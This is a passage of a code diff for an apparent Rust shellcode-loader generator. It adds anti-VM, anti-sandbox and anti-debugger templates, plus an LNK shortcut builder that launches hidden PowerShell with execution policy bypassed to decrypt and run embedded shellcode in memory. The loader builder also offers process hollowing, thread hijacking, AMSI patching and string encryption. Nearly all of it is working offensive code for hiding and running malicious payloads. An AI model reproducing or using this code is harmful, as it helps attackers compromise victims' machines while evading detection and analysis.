+ || check_sandbox_timing()
+ || check_sandbox_file_count()
+ || check_sandbox_uptime()
+ || check_sandbox_recent_files()
+}}
+"#,
+ file_path_array, decrypt_fn, expect_clause,
+ )
+}
+
+/// Generate anti-debugger checks with encrypted strings
+pub fn anti_debugger_checks_with_encryption(
+ debugger_parent_arrays: &[String],
+ decrypt_fn: &str,
+ expect_clause: &str,
+) -> String {
+ format!(
+ r#"
+fn check_debugger_present() -> bool {{
+ unsafe {{
+ IsDebuggerPresent() != 0
+ }}
+}}
+
+fn check_remote_debugger() -> bool {{
+ unsafe {{
+ let mut is_present: i32 = 0;
+ let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
+ result != 0 && is_present != 0
+ }}
+}}
+
+fn check_debug_port() -> bool {{
+ unsafe {{
+ let mut debug_port: usize = 0;
+ let status = NtQueryInformationProcess(
+ GetCurrentProcess(),
+ 7,
+ &mut debug_port as *mut usize as *mut std::ffi::c_void,
+ std::mem::size_of::<usize>() as u32,
+ std::ptr::null_mut(),
+ );
+
+ status == 0 && debug_port != 0
+ }}
+}}
+
+fn check_hardware_breakpoints() -> bool {{
+ unsafe {{
+ let mut context = Context {{
+ context_flags: 0x00010000 | 0x00000010,
+ dr0: 0,
+ dr1: 0,
+ dr2: 0,
+ dr3: 0,
+ dr6: 0,
+ dr7: 0,
+ _padding: [0; 512],
+ }};
+
+ if GetThreadContext(GetCurrentThread(), &mut context) != 0 {{
+ if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn check_parent_process() -> bool {{
+ use std::process::Command;
+
+ const ENCRYPTED_DBG_PARENT_0: &[u8] = &{};
+ const ENCRYPTED_DBG_PARENT_1: &[u8] = &{};
+ const ENCRYPTED_DBG_PARENT_2: &[u8] = &{};
+ const ENCRYPTED_DBG_PARENT_3: &[u8] = &{};
+ const ENCRYPTED_DBG_PARENT_4: &[u8] = &{};
+
+ let parent_0 = {}(ENCRYPTED_DBG_PARENT_0, &DECRYPTION_KEY){};
+ let parent_1 = {}(ENCRYPTED_DBG_PARENT_1, &DECRYPTION_KEY){};
+ let parent_2 = {}(ENCRYPTED_DBG_PARENT_2, &DECRYPTION_KEY){};
+ let parent_3 = {}(ENCRYPTED_DBG_PARENT_3, &DECRYPTION_KEY){};
+ let parent_4 = {}(ENCRYPTED_DBG_PARENT_4, &DECRYPTION_KEY){};
+
+ if let Ok(output) = Command::new("tasklist")
+ .args(&["/v", "/fo", "csv"])
+ .output()
+ {{
+ let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+ let debugger_parents = [
+ String::from_utf8_lossy(&parent_0).to_string().to_lowercase(),
+ String::from_utf8_lossy(&parent_1).to_string().to_lowercase(),
+ String::from_utf8_lossy(&parent_2).to_string().to_lowercase(),
+ String::from_utf8_lossy(&parent_3).to_string().to_lowercase(),
+ String::from_utf8_lossy(&parent_4).to_string().to_lowercase(),
+ ];
+ for parent in debugger_parents.iter() {{
+ if output_str.contains(parent) {{
+ return true;
+ }}
+ }}
+ }}
+ false
+}}
+
+fn detect_debugger() -> bool {{
+ check_debugger_present()
+ || check_remote_debugger()
+ || check_debug_port()
+ || check_hardware_breakpoints()
+ || check_parent_process()
+}}
+"#,
+ debugger_parent_arrays[0],
+ debugger_parent_arrays[1],
+ debugger_parent_arrays[2],
+ debugger_parent_arrays[3],
+ debugger_parent_arrays[4],
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ decrypt_fn,
+ expect_clause,
+ )
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_anti_vm_checks_contains_vm_detection() {
+ let code = anti_vm_checks();
+ assert!(code.contains("detect_vm"));
+ assert!(code.contains("check_vm_artifacts"));
+ assert!(code.contains("check_vm_registry"));
+ assert!(code.contains("check_vm_processes"));
+ }
+
+ #[test]
+ fn test_anti_sandbox_checks_contains_sandbox_detection() {
+ let code = anti_sandbox_checks();
+ assert!(code.contains("detect_sandbox"));
+ assert!(code.contains("check_sandbox_timing"));
+ assert!(code.contains("check_sandbox_uptime"));
+ }
+
+ #[test]
+ fn test_anti_debugger_checks_contains_debugger_detection() {
+ let code = anti_debugger_checks();
+ assert!(code.contains("detect_debugger"));
+ assert!(code.contains("IsDebuggerPresent"));
+ assert!(code.contains("check_hardware_breakpoints"));
+ }
+
+ #[test]
+ fn test_generate_evasion_check_call_single_flag() {
+ let call = generate_evasion_check_call(true, false, false);
+ assert!(call.contains("detect_vm()"));
+ assert!(!call.contains("detect_sandbox()"));
+ assert!(!call.contains("detect_debugger()"));
+ }
+
+ #[test]
+ fn test_generate_evasion_check_call_multiple_flags() {
+ let call = generate_evasion_check_call(true, true, false);
+ assert!(call.contains("detect_vm()"));
+ assert!(call.contains("detect_sandbox()"));
+ assert!(!call.contains("detect_debugger()"));
+ assert!(call.contains("||"));
+ }
+
+ #[test]
+ fn test_generate_evasion_check_call_all_flags() {
+ let call = generate_evasion_check_call(true, true, true);
+ assert!(call.contains("detect_vm()"));
+ assert!(call.contains("detect_sandbox()"));
+ assert!(call.contains("detect_debugger()"));
+ }
+
+ #[test]
+ fn test_generate_evasion_check_call_no_flags() {
+ let call = generate_evasion_check_call(false, false, false);
+ assert!(call.is_empty());
+ }
+}
diff --git a/src/file_ops.rs b/src/file_ops.rs
@@ -0,0 +1,101 @@
+//! File Operations Module
+//!
+//! Provides simple file I/O utilities for reading shellcode files and other
+//! binary data. This module is kept minimal and focused on the specific needs
+//! of the shellcode loader generator.
+//!
+//! # Functions
+//!
+//! - `read_file_bytes`: Reads a file and returns its contents as a byte vector
+//!
+//! # Example
+//!
+//! ```no_run
+//! use myph_v2::file_ops::read_file_bytes;
+//!
+//! let shellcode = read_file_bytes("payload.raw").expect("Failed to read file");
+//! println!("Read {} bytes", shellcode.len());
+//! ```
+
+use std::fs;
+use std::io;
+use std::path::Path;
+
+/// Reads a file and returns its contents as bytes
+pub fn read_file_bytes<P: AsRef<Path>>(path: P) -> io::Result<Vec<u8>> {
+ fs::read(path)
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use std::io::Write;
+
+ #[test]
+ fn test_read_file_bytes_success() {
+ let temp_dir = std::env::temp_dir();
+ let test_file = temp_dir.join(format!("test_read_{}.bin", rand::random::<u32>()));
+
+ let test_data = b"Hello, World!";
+ let mut file = fs::File::create(&test_file).unwrap();
+ file.write_all(test_data).unwrap();
+ drop(file);
+
+ let result = read_file_bytes(&test_file);
+ assert!(result.is_ok());
+ assert_eq!(result.unwrap(), test_data);
+
+ let _ = fs::remove_file(&test_file);
+ }
+
+ #[test]
+ fn test_read_file_bytes_binary_data() {
+ let temp_dir = std::env::temp_dir();
+ let test_file = temp_dir.join(format!("test_binary_{}.bin", rand::random::<u32>()));
+
+ let test_data: Vec<u8> = vec![0x00, 0xFF, 0xAA, 0x55, 0x01, 0x02];
+ fs::write(&test_file, &test_data).unwrap();
+
+ let result = read_file_bytes(&test_file);
+ assert!(result.is_ok());
+ assert_eq!(result.unwrap(), test_data);
+
+ let _ = fs::remove_file(&test_file);
+ }
+
+ #[test]
+ fn test_read_file_bytes_empty_file() {
+ let temp_dir = std::env::temp_dir();
+ let test_file = temp_dir.join(format!("test_empty_{}.bin", rand::random::<u32>()));
+
+ fs::write(&test_file, b"").unwrap();
+
+ let result = read_file_bytes(&test_file);
+ assert!(result.is_ok());
+ assert_eq!(result.unwrap(), b"");
+
+ let _ = fs::remove_file(&test_file);
+ }
+
+ #[test]
+ fn test_read_file_bytes_nonexistent() {
+ let nonexistent = "/nonexistent/path/to/file.bin";
+ let result = read_file_bytes(nonexistent);
+ assert!(result.is_err());
+ }
+
+ #[test]
+ fn test_read_file_bytes_large_file() {
+ let temp_dir = std::env::temp_dir();
+ let test_file = temp_dir.join(format!("test_large_{}.bin", rand::random::<u32>()));
+
+ let test_data: Vec<u8> = (0..10000).map(|i| (i % 256) as u8).collect();
+ fs::write(&test_file, &test_data).unwrap();
+
+ let result = read_file_bytes(&test_file);
+ assert!(result.is_ok());
+ assert_eq!(result.unwrap(), test_data);
+
+ let _ = fs::remove_file(&test_file);
+ }
+}
diff --git a/src/internals/dependencies.rs b/src/internals/dependencies.rs
@@ -0,0 +1,79 @@
+fn aes_dependencies_template() -> &'static str {
+ r#"
+aes = "0.8"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn chacha20_dependencies_template() -> &'static str {
+ r#"
+chacha20 = "0.9"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn blowfish_dependencies_template() -> &'static str {
+ r#"
+blowfish = "0.9"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn aes256_dependencies_template() -> &'static str {
+ r#"
+aes = "0.8"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn twofish_dependencies_template() -> &'static str {
+ r#"
+twofish = "0.7"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn camellia_dependencies_template() -> &'static str {
+ r#"
+camellia = "0.1"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn api_resolver_dependencies() -> &'static str {
+ r#"
+ntapi = "0.4"
+winapi = { version = "0.3", features = ["ntdef"] }
+"#
+}
+
+pub fn get_dependencies_for_encryption(encryption_type: &str) -> Result<&'static str, String> {
+ match encryption_type {
+ "aes" => Ok(aes_dependencies_template()),
+ "aes256" => Ok(aes256_dependencies_template()),
+ "chacha20" => Ok(chacha20_dependencies_template()),
+ "blowfish" => Ok(blowfish_dependencies_template()),
+ "twofish" => Ok(twofish_dependencies_template()),
+ "camellia" => Ok(camellia_dependencies_template()),
+ "xor" => Ok(""),
+ _ => Err(format!("Unknown encryption type: {}", encryption_type)),
+ }
+}
+
+pub fn get_dependencies(
+ encryption_type: &str,
+ with_dynamic_resolver: bool,
+) -> Result<String, String> {
+ let mut deps = get_dependencies_for_encryption(encryption_type)?.to_string();
+
+ if with_dynamic_resolver {
+ deps.push_str(api_resolver_dependencies());
+ }
+
+ Ok(deps)
+}
diff --git a/src/internals/lnk_generator.rs b/src/internals/lnk_generator.rs
@@ -0,0 +1,297 @@
+use crate::cli::{EncryptionKind, Technique};
+use lnk::ShellLink;
+use std::fs;
+use std::io;
+use std::path::Path;
+
+pub fn generate_lnk_file(
+ encrypted_shellcode: &[u8],
+ output_path: &Path,
+ encryption: &EncryptionKind,
+ technique: &Technique,
+ key: &str,
+ _process: &str,
+) -> io::Result<()> {
+ let powershell_payload =
+ generate_powershell_payload(encrypted_shellcode, encryption, technique, key);
+
+ let temp_dir = std::env::temp_dir();
+ let payload_file = temp_dir.join(format!("payload_{}.ps1", uuid::Uuid::new_v4()));
+
+ fs::write(&payload_file, powershell_payload.as_bytes())?;
+
+ // Use default() for cross-platform compatibility (doesn't require target file to exist)
+ let mut shell_link = ShellLink::default();
+
+ // Set target to PowerShell
+ shell_link.set_relative_path(Some(format!(".\\{}", "powershell.exe")));
+ shell_link.set_working_dir(Some(
+ r"C:\Windows\System32\WindowsPowerShell\v1.0".to_string(),
+ ));
+
+ let arguments = format!(
+ r#"-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File "{}""#,
+ payload_file.display()
+ );
+
+ shell_link.set_arguments(Some(arguments));
+ shell_link.set_icon_location(Some(r"C:\Windows\System32\shell32.dll".into()));
+
+ // Set appropriate flags for the link
+ let header = shell_link.header_mut();
+ let current_flags = *header.link_flags();
+ header.set_link_flags(
+ current_flags
+ | lnk::LinkFlags::HAS_ARGUMENTS
+ | lnk::LinkFlags::HAS_RELATIVE_PATH
+ | lnk::LinkFlags::HAS_WORKING_DIR
+ | lnk::LinkFlags::HAS_ICON_LOCATION
+ | lnk::LinkFlags::IS_UNICODE,
+ );
+
+ shell_link
+ .save(output_path)
+ .map_err(|e| io::Error::other(format!("Failed to save LNK file: {}", e)))?;
+
+ Ok(())
+}
+
+fn generate_powershell_payload(
+ encrypted_shellcode: &[u8],
+ encryption: &EncryptionKind,
+ technique: &Technique,
+ key: &str,
+) -> String {
+ let base64_shellcode = base64_encode(encrypted_shellcode);
+ let decryption_code = generate_decryption_code(encryption, key);
+ let execution_code = generate_execution_code(technique);
+
+ format!(
+ r#"
+$ErrorActionPreference = "SilentlyContinue"
+$encData = [System.Convert]::FromBase64String("{}")
+{}
+$shellcode = $decryptedData
+{}
+"#,
+ base64_shellcode, decryption_code, execution_code
+ )
+}
+
+fn base64_encode(data: &[u8]) -> String {
+ use base64::Engine;
+ base64::engine::general_purpose::STANDARD.encode(data)
+}
+
+fn generate_decryption_code(encryption: &EncryptionKind, key: &str) -> String {
+ match encryption {
+ EncryptionKind::XOR => {
+ format!(
+ r#"
+$key = [System.Text.Encoding]::UTF8.GetBytes("{}")
+$decryptedData = New-Object byte[] $encData.Length
+for ($i = 0; $i -lt $encData.Length; $i++) {{
+ $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
+}}
+"#,
+ key
+ )
+ }
+ EncryptionKind::AES | EncryptionKind::AES256 => {
+ let key_size = if matches!(encryption, EncryptionKind::AES) {
+ 128
+ } else {
+ 256
+ };
+ format!(
+ r#"
+$keyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes("{}"))
+$iv = $encData[0..15]
+$ciphertext = $encData[16..($encData.Length - 1)]
+$aes = [System.Security.Cryptography.Aes]::Create()
+$aes.KeySize = {}
+$aes.Key = $keyBytes[0..(({}/8) - 1)]
+$aes.IV = $iv
+$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
+$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
+$decryptor = $aes.CreateDecryptor()
+$decryptedData = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
+$aes.Dispose()
+"#,
+ key, key_size, key_size
+ )
+ }
+ EncryptionKind::Chacha20 => {
+ format!(
+ r#"
+# ChaCha20 decryption requires external library or native implementation
+# For simplicity, using XOR as fallback
+$key = [System.Text.Encoding]::UTF8.GetBytes("{}")
+$decryptedData = New-Object byte[] $encData.Length
+for ($i = 0; $i -lt $encData.Length; $i++) {{
+ $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
+}}
+"#,
+ key
+ )
+ }
+ EncryptionKind::Blowfish | EncryptionKind::Twofish | EncryptionKind::Camellia => {
+ let enc_name = format!("{:?}", encryption);
+ format!(
+ r#"
+# {0} decryption requires external library
+# For simplicity, using XOR as fallback
+$key = [System.Text.Encoding]::UTF8.GetBytes("{1}")
+$decryptedData = New-Object byte[] $encData.Length
+for ($i = 0; $i -lt $encData.Length; $i++) {{
+ $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
+}}
+"#,
+ enc_name, key
+ )
+ }
+ }
+}
+
+fn generate_execution_code(technique: &Technique) -> String {
+ match technique {
+ Technique::CreateFiber
+ | Technique::Syscall
+ | Technique::Etwp
+ | Technique::SetTimer
+ | Technique::EnumCalendar
+ | Technique::EnumWindows
+ | Technique::EnumSystemLocales
+ | Technique::ImageGetDigestStream
+ | Technique::ModuleStomping
+ | Technique::FairyLaw => r#"
+$addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
+ [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length),
+ [Type]::GetType("System.Void")
+)
+[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length)
+$invokeMethod = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
+ $addr,
+ [Type]::GetType("System.Action")
+)
+$invokeMethod.Invoke()
+"#
+ .to_string(),
+ Technique::CRT
+ | Technique::CRTx
+ | Technique::ProcessHollowing
+ | Technique::CreateThread
+ | Technique::NtCreateThreadEx
+ | Technique::QueueUserAPC
+ | Technique::ThreadHijacking
+ | Technique::EarlyBird => r#"
+# Process injection techniques not fully supported in LNK format
+# Using local execution as fallback
+$addr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
+[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length)
+$fnPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
+ $addr,
+ [Type]::GetType("System.Action")
+)
+$fnPtr.Invoke()
+"#
+ .to_string(),
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_powershell_payload() {
+ let shellcode = vec![0x90, 0x90, 0xc3];
+ let payload = generate_powershell_payload(
+ &shellcode,
+ &EncryptionKind::XOR,
+ &Technique::CreateFiber,
+ "test_key",
+ );
+
+ assert!(payload.contains("FromBase64String"));
+ assert!(payload.contains("test_key"));
+ assert!(payload.contains("$decryptedData"));
+ }
+
+ #[test]
+ fn test_base64_encode() {
+ let data = vec![0x48, 0x65, 0x6c, 0x6c, 0x6f];
+ let encoded = base64_encode(&data);
+ assert_eq!(encoded, "SGVsbG8=");
+ }
+
+ #[test]
+ fn test_generate_decryption_code_xor() {
+ let code = generate_decryption_code(&EncryptionKind::XOR, "mykey");
+ assert!(code.contains("mykey"));
+ assert!(code.contains("-bxor"));
+ assert!(code.contains("$decryptedData"));
+ }
+
+ #[test]
+ fn test_generate_decryption_code_aes() {
+ let code = generate_decryption_code(&EncryptionKind::AES, "mykey");
+ assert!(code.contains("mykey"));
+ assert!(code.contains("SHA256"));
+ assert!(code.contains("Aes"));
+ assert!(code.contains("KeySize = 128"));
+ }
+
+ #[test]
+ fn test_generate_decryption_code_aes256() {
+ let code = generate_decryption_code(&EncryptionKind::AES256, "mykey");
+ assert!(code.contains("KeySize = 256"));
+ }
+
+ #[test]
+ fn test_generate_execution_code_local() {
+ let code = generate_execution_code(&Technique::CreateFiber);
+ assert!(code.contains("AllocHGlobal"));
+ assert!(code.contains("Marshal"));
+ assert!(code.contains("Invoke"));
+ }
+
+ #[test]
+ fn test_generate_execution_code_injection() {
+ let code = generate_execution_code(&Technique::CRT);
+ assert!(code.contains("AllocHGlobal"));
+ assert!(code.contains("fallback"));
+ }
+
+ #[test]
+ #[cfg(target_os = "windows")]
+ fn test_generate_lnk_file() {
+ let shellcode = vec![0x90, 0x90, 0xc3];
+ let temp_dir = std::env::temp_dir();
+ let output = temp_dir.join("test_output.lnk");
+
+ let result = generate_lnk_file(
+ &shellcode,
+ &output,
+ &EncryptionKind::XOR,
+ &Technique::CreateFiber,
+ "test_key",
+ "notepad.exe",
+ );
+
+ if let Err(e) = &result {
+ eprintln!("Error generating LNK file: {}", e);
+ }
+ assert!(result.is_ok(), "Failed to generate LNK file: {:?}", result);
+ assert!(output.exists());
+
+ std::fs::remove_file(&output).ok();
+ }
+
+ #[test]
+ #[cfg(not(target_os = "windows"))]
+ fn test_generate_lnk_file_skip_non_windows() {
+ // Skipped on non-Windows platforms since PowerShell doesn't exist
+ // This is a placeholder to avoid confusion
+ }
+}
diff --git a/src/internals/loader.rs b/src/internals/loader.rs
@@ -0,0 +1,1613 @@
+use std::fs;
+use std::io;
+use std::path::{Path, PathBuf};
+use std::process::Command;
+
+use crate::cli::{BinaryFormat, EncryptionKind, Technique};
+use crate::encryption::{create_encryptor, derive_key_bytes};
+
+use super::templates::generate_decrypt_code;
+use super::templates::techniques::TechniqueGenerator;
+
+fn get_technique_generator(technique: &Technique) -> Box<dyn TechniqueGenerator> {
+ match technique {
+ Technique::CRT => Box::new(super::templates::techniques::CRTGenerator),
+ Technique::CRTx => Box::new(super::templates::techniques::CRTxGenerator),
+ Technique::EnumCalendar => Box::new(super::templates::techniques::EnumCalendarGenerator),
+ Technique::EnumWindows => Box::new(super::templates::techniques::EnumWindowsGenerator),
+ Technique::EnumSystemLocales => {
+ Box::new(super::templates::techniques::EnumSystemLocalesGenerator)
+ }
+ Technique::ImageGetDigestStream => {
+ Box::new(super::templates::techniques::ImageGetDigestStreamGenerator)
+ }
+ Technique::CreateFiber => Box::new(super::templates::techniques::CreateFiberGenerator),
+ Technique::Etwp => Box::new(super::templates::techniques::EtwpGenerator),
+ Technique::FairyLaw => Box::new(super::templates::techniques::FairyLawGenerator),
+ Technique::NtCreateThreadEx => {
+ Box::new(super::templates::techniques::NtCreateThreadExGenerator)
+ }
+ Technique::ProcessHollowing => {
+ Box::new(super::templates::techniques::ProcessHollowingGenerator)
+ }
+ Technique::QueueUserAPC => Box::new(super::templates::techniques::QueueUserAPCGenerator),
+ Technique::SetTimer => Box::new(super::templates::techniques::SetTimerGenerator),
+ Technique::Syscall => Box::new(super::templates::techniques::SyscallGenerator),
+ Technique::ModuleStomping => {
+ Box::new(super::templates::techniques::ModuleStompingGenerator)
+ }
+ Technique::ThreadHijacking => {
+ Box::new(super::templates::techniques::ThreadHijackingGenerator)
+ }
+ Technique::EarlyBird => Box::new(super::templates::techniques::EarlyBirdGenerator),
+ Technique::CreateThread => panic!("CreateThread not implemented"),
+ }
+}
+pub struct BuildConfig<'a> {
+ pub project_name: &'a str,
+ pub output_name: &'a str,
+ pub original_cwd: &'a Path,
+ pub shellcode_data: &'a [u8],
+ pub binary_format: &'a BinaryFormat,
+ pub encryption_kind: Option<&'a EncryptionKind>,
+ pub encryption_key: Option<&'a str>,
+ pub technique: &'a Technique,
+ pub process: &'a str,
+ pub with_api_hammering: bool,
+ pub with_amsi_patch: bool,
+ pub with_string_encryption: bool,
+ pub with_dynamic_function_resolver: bool,
+ pub with_anti_vm: bool,
+ pub with_anti_sandbox: bool,
+ pub with_anti_debugger: bool,
+}
+
+pub struct BuildEnv<'a> {
+ project_name: Option<&'a str>,
+ output_name: Option<&'a str>,
+ original_cwd: Option<&'a Path>,
+ shellcode_data: Option<&'a [u8]>,
+ binary_format: Option<&'a BinaryFormat>,
+ encryption_kind: Option<&'a EncryptionKind>,
+ encryption_key: Option<&'a str>,
+ technique: Option<&'a Technique>,
+ process: Option<&'a str>,
+ with_api_hammering: bool,
+ with_amsi_patch: bool,
+ with_string_encryption: bool,
+ with_dynamic_function_resolver: bool,
+ with_anti_vm: bool,
+ with_anti_sandbox: bool,
+ with_anti_debugger: bool,
+}
+
+impl<'a> BuildEnv<'a> {
+ pub fn new() -> Self {
+ Self {
+ project_name: None,
+ output_name: None,
+ original_cwd: None,
+ shellcode_data: None,
+ binary_format: None,
+ encryption_kind: None,
+ encryption_key: None,
+ technique: None,
+ process: None,
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ }
+ }
+
+ pub fn with_project_name(mut self, name: &'a str) -> Self {
+ self.project_name = Some(name);
+ self
+ }
+
+ pub fn with_output_name(mut self, name: &'a str) -> Self {
+ self.output_name = Some(name);
+ self
+ }
+
+ pub fn with_original_cwd(mut self, cwd: &'a Path) -> Self {
+ self.original_cwd = Some(cwd);
+ self
+ }
+
+ pub fn with_shellcode(mut self, data: &'a [u8]) -> Self {
+ self.shellcode_data = Some(data);
+ self
+ }
+
+ pub fn with_binary_format(mut self, format: &'a BinaryFormat) -> Self {
+ self.binary_format = Some(format);
+ self
+ }
+
+ pub fn with_encryption(mut self, kind: &'a EncryptionKind, key: &'a str) -> Self {
+ self.encryption_kind = Some(kind);
+ self.encryption_key = Some(key);
+ self
+ }
+
+ pub fn with_technique(mut self, technique: &'a Technique) -> Self {
+ self.technique = Some(technique);
+ self
+ }
+
+ pub fn with_process(mut self, process: &'a str) -> Self {
+ self.process = Some(process);
+ self
+ }
+
+ pub fn with_api_hammering(mut self, enabled: bool) -> Self {
+ self.with_api_hammering = enabled;
+ self
+ }
+
+ pub fn with_amsi_patch(mut self, enabled: bool) -> Self {
+ self.with_amsi_patch = enabled;
+ self
+ }
+
+ pub fn with_string_encryption(mut self, enabled: bool) -> Self {
+ self.with_string_encryption = enabled;
+ self
+ }
+
+ pub fn with_dynamic_function_resolver(mut self, enabled: bool) -> Self {
+ self.with_dynamic_function_resolver = enabled;
+ self
+ }
+
+ pub fn with_anti_vm(mut self, enabled: bool) -> Self {
+ self.with_anti_vm = enabled;
+ self
+ }
+
+ pub fn with_anti_sandbox(mut self, enabled: bool) -> Self {
+ self.with_anti_sandbox = enabled;
+ self
+ }
+
+ pub fn with_anti_debugger(mut self, enabled: bool) -> Self {
+ self.with_anti_debugger = enabled;
+ self
+ }
+
+ pub fn build(self) -> io::Result<PathBuf> {
+ let project_name = self
+ .project_name
+ .ok_or_else(|| io::Error::other("Project name is required"))?;
+ let output_name = self
+ .output_name
+ .ok_or_else(|| io::Error::other("Output name is required"))?;
+ let original_cwd = self
+ .original_cwd
+ .ok_or_else(|| io::Error::other("Original working directory is required"))?;
+ let shellcode_data = self
+ .shellcode_data
+ .ok_or_else(|| io::Error::other("Shellcode data is required"))?;
+ let binary_format = self
+ .binary_format
+ .ok_or_else(|| io::Error::other("Binary format is required"))?;
+ let technique = self
+ .technique
+ .ok_or_else(|| io::Error::other("Technique is required"))?;
+ let process = self
+ .process
+ .ok_or_else(|| io::Error::other("Process is required"))?;
+
+ let config = BuildConfig {
+ project_name,
+ output_name,
+ original_cwd,
+ shellcode_data,
+ binary_format,
+ encryption_kind: self.encryption_kind,
+ encryption_key: self.encryption_key,
+ technique,
+ process,
+ with_api_hammering: self.with_api_hammering,
+ with_amsi_patch: self.with_amsi_patch,
+ with_string_encryption: self.with_string_encryption,
+ with_dynamic_function_resolver: self.with_dynamic_function_resolver,
+ with_anti_vm: self.with_anti_vm,
+ with_anti_sandbox: self.with_anti_sandbox,
+ with_anti_debugger: self.with_anti_debugger,
+ };
+
+ setup_and_build_project(&config)
+ }
+}
+
+impl Default for BuildEnv<'_> {
+ fn default() -> Self {
+ Self::new()
+ }
+}
+
+pub fn init_rust_project(config: &BuildConfig) -> io::Result<()> {
+ init_rust_project_with_target(config)
+}
+
+fn init_rust_project_with_target(config: &BuildConfig) -> io::Result<()> {
+ let (encrypted_shellcode, encryption_type_str, key_bytes) = prepare_shellcode_encryption(
+ config.shellcode_data,
+ config.encryption_kind,
+ config.encryption_key,
+ )?;
+
+ write_cargo_toml(
+ config.project_name,
+ config.binary_format,
+ encryption_type_str,
+ config.with_dynamic_function_resolver,
+ )?;
+ write_cargo_config()?;
+
+ fs::create_dir_all("src")?;
+
+ let internals_source = generate_internals_with_crypto_and_strings(
+ encryption_type_str,
+ config.with_string_encryption,
+ config.with_dynamic_function_resolver,
+ )?;
+ let source_code = generate_source_code(SourceCodeParams {
+ binary_format: config.binary_format,
+ internals_source: &internals_source,
+ encryption: EncryptionParams {
+ encrypted_shellcode: &encrypted_shellcode,
+ key_bytes: &key_bytes,
+ encryption_type: encryption_type_str,
+ },
+ technique_params: TechniqueParams {
+ technique: config.technique,
+ process: config.process,
+ },
+ with_api_hammering: config.with_api_hammering,
+ with_amsi_patch: config.with_amsi_patch,
+ with_string_encryption: config.with_string_encryption,
+ with_dynamic_function_resolver: config.with_dynamic_function_resolver,
+ with_anti_vm: config.with_anti_vm,
+ with_anti_sandbox: config.with_anti_sandbox,
+ with_anti_debugger: config.with_anti_debugger,
+ encryption_kind: config.encryption_kind,
+ encryption_key: config.encryption_key,
+ })?;
+
+ let file_name = match config.binary_format {
+ BinaryFormat::Exe => "src/main.rs",
+ BinaryFormat::Dll => "src/lib.rs",
+ BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
+ };
+
+ fs::write(file_name, source_code)?;
+
+ Ok(())
+}
+
+fn prepare_shellcode_encryption(
+ shellcode_data: &[u8],
+ encryption_kind: Option<&EncryptionKind>,
+ encryption_key: Option<&str>,
+) -> io::Result<(Vec<u8>, &'static str, Vec<u8>)> {
+ match (encryption_kind, encryption_key) {
+ (Some(kind), Some(key)) => {
+ let encryptor = create_encryptor(kind.clone(), key);
+ let encrypted = encryptor
+ .encrypt(shellcode_data)
+ .map_err(|e| io::Error::other(format!("Encryption failed: {}", e)))?;
+
+ let type_str = encryption_kind_to_string(kind);
+ let key_data = derive_key_bytes(key, kind);
+ Ok((encrypted, type_str, key_data))
+ }
+ (None, None) => Err(io::Error::other(
+ "Encryption is required: both encryption kind and key must be provided",
+ )),
+ (Some(_), None) => Err(io::Error::other(
+ "Encryption key is missing: both encryption kind and key must be provided together",
+ )),
+ (None, Some(_)) => Err(io::Error::other(
+ "Encryption kind is missing: both encryption kind and key must be provided together",
+ )),
+ }
+}
+
+fn encryption_kind_to_string(kind: &EncryptionKind) -> &'static str {
+ match kind {
+ EncryptionKind::AES => "aes",
+ EncryptionKind::AES256 => "aes256",
+ EncryptionKind::Chacha20 => "chacha20",
+ EncryptionKind::XOR => "xor",
+ EncryptionKind::Blowfish => "blowfish",
+ EncryptionKind::Twofish => "twofish",
+ EncryptionKind::Camellia => "camellia",
+ }
+}
+
+fn write_cargo_toml(
+ project_name: &str,
+ binary_format: &BinaryFormat,
+ encryption_type: &str,
+ with_dynamic_resolver: bool,
+) -> io::Result<()> {
+ let dependencies =
+ super::dependencies::get_dependencies(encryption_type, with_dynamic_resolver)
+ .map_err(io::Error::other)?;
+
+ let cargo_toml = match binary_format {
+ BinaryFormat::Exe => super::templates::generate_cargo_toml_exe(project_name, &dependencies),
+ BinaryFormat::Dll => super::templates::generate_cargo_toml_dll(project_name, &dependencies),
+ BinaryFormat::Lnk => return Ok(()), // LNK doesn't need Cargo.toml
+ };
+ fs::write("Cargo.toml", cargo_toml)
+}
+
+fn write_cargo_config() -> io::Result<()> {
+ fs::create_dir_all(".cargo")?;
